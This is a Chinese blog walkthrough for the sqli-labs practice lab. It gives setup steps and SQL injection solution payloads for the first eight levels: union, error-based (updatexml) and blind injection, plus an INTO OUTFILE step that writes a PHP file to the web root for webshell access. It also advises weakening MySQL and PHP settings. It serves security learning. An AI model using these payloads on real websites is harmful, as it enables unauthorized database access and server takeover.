0x0 引言
sqli-labs是一个用来练习sql注入的平台,其内置集成了现存的各种sql注入,如盲注,联合查询注入等,对于萌新来说它是一个十分不错的练习平台,我们可以使用它来进行各种注入尝试,从而提升我们的sql注入能力
萌新建议先看这个帖子再来做题:https://blog.csdn.net/chest_/article/details/102537988
环境的搭建 | 实验过程中可能会遇到的问题 |
---|---|
工具和插件的准备 | 推荐的入门教学 |
Less-1 | Less-2 |
Less-3 | Less-4 |
Less-5 | Less-6 |
Less-7 | Less8 |
Less-9 | Less-10 |
Less-11 | Less-12 |
Less-13 | Less-14 |
未完待续 | 2019.11.16 |
一、环境的搭建
0x1 靶场及phpstudy下载
phpstudy的安装方法网上一大堆,这里不做演示
phpstudy:https://www.xp.cn/download.html
靶场传送门:
链接:https://pan.baidu.com/s/1cDG7_w6ejaV_PAexLVSAag
提取码:50lf
把压缩包压缩到phpstudy里的www目录下
接着找到压缩包里的readme文件,它类似于说明书,打开后你会发现它全是英文的,这时候看不懂不要紧,我们放到百度翻译 翻译一下即可
0x2 链接靶场上的数据库
找到并打开 D:\phpstudy_pro\WWW\sqli-labs\sql-connections目录里的db-creds.inc文件
输入正确的用户和密码
0x3 设置环境变量
在phpstudy目录下搜索 mysql.exe。把mysql所在的目录设置成环境变量
win10为例:
呼叫小娜–>搜素环境变量–>系统变量(找到Path)–>编辑–>新建(要新建的目录)
到cmd登录数据库确认数据库是否成功连接
cmd输入 mysql -u root -p
然后输入root的密码登录
查看数据库" security "有没有加进去
0x2 工具和插件的准备
1、火狐浏览器,插件兼容性较好,推荐使用
2、在火狐浏览器上安装HackBar插件和FoxyProxy Standard插件
3、Bp工具 百度搜一下即可,教程资源一大堆,这里不做演示
Less-1
联合查询注入,单引号闭合
构造单引号,页面报错,信息为’‘1’’ LIMIT 0,1’,如下图所示
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,然后通过在显示位构造注入来拿敏感数据,多余的步骤不多说了,直接开始爆数据来验证即可
查看源码,可以看出语句采用了字符串拼接的方式带进数据库进行数据查询,用户参数可控,并且未做任何的防御措施,这就是sql注入漏洞形成的原因了
通关命令:?id=-1' union select 1,2,3--+
Less-2
数字型注入,把Less-1中id=1后面的单引号去掉,其它保持不变就行了
通关命令:?id=-1 union select 1,2,3 --+
Less-3
根据报错信息确定变量用一对单引号加圆括号包裹起来的 (‘1’) ,闭合方式:用第一题中id=1‘的后面单引号加上),其它保持不变就行了
通关命令:?id=-1') union select 1,2,3 --+
Less-4
单引号变成了双引号,在上一题的基础上把单引号改一下即可
通关命令:?id=-1") union select 1,2,3 --+
Less-5
报错注入 时间盲注
构造单引号回显报错
两种方法注入:1.通过updataxml函数进行注入 2.使用时间盲注
报错注入
时间盲注
得出盲注后直接拿sqlmap注入即可,时间盲注过于麻烦
通关命令:?id=1' and updatexml(1,(concat('~',database(),'~')),1) --+
Less-6
报错注入 时间盲注
把上一题的单引号换成双引号即可
通关命令:?id=1" and updatexml(1,(concat('~',database(),'~')),1) --+
Less-7
写入数据 [ ')) ]
闭合方式 : '))
本关的标题是dump into outfile,意思是本关需要我们利用文件导入的方式进行注入。使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径,这里可以通过在less1中获取网站的路径
在我们进行写入文件的前提是网站要满足以下两个条件:
1.secure-file-priv配置应为可写入,不为(null)
2.数据库当前权限为root
需要用到的函数:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
更多注入函数可以参考这个:https://blog.csdn.net/chest_/article/details/100142391
得到绝对路径后,直接写入一句话拿蚁剑或者菜刀等工具链接即可即可
注意事项:
1.需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
2.需要使用\\来代替目录中的\ ,不然写入后的文件名称会发生改变,这样子不方便我们拿菜刀远程连接
如果发生无法写入文件,请参考这里:mysql注入无法进行文件写入的解决方法
通关命令:?id=1')) union select 1,2,'' into outfile "D:\\phpstudy_pro\\Extensions\\hhh.php" --+
Less-8
布尔盲注 [ ’ ]
先猜数据库的字节长度,确定注入点后直接拿sqlmap跑就行了,盲注过于耗时且麻烦
通关命令:?id=1' and length(database())=8 --+
Less-9
实验过程中可能会遇到的问题
0x1 输入转义 无法sql注入 找到PHP ini 关闭magic_quotes_gpc 即可
因为在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线,这个选项对注入有一定的防御,但是可采用宽字节进行绕过
0x2 靶场所需PHP环境不一样,如果不能运行就改PHP版本
0x3 mysql注入无法进行文件写入
如果secure-file-priv配置为不可写入即为(null),那么就算有root权限,我们也无法对网站写入数据,这时候为了实验的效果,我们可以选择开启该选项
1.打开cmd查看该选项的配置情况
查询命令: show global variables like "secure_file_priv";
在my.ini添加以下配置文件
secure_file_priv=
再次到cmd输入:show global variables like “secure_file_priv”;查询是否生效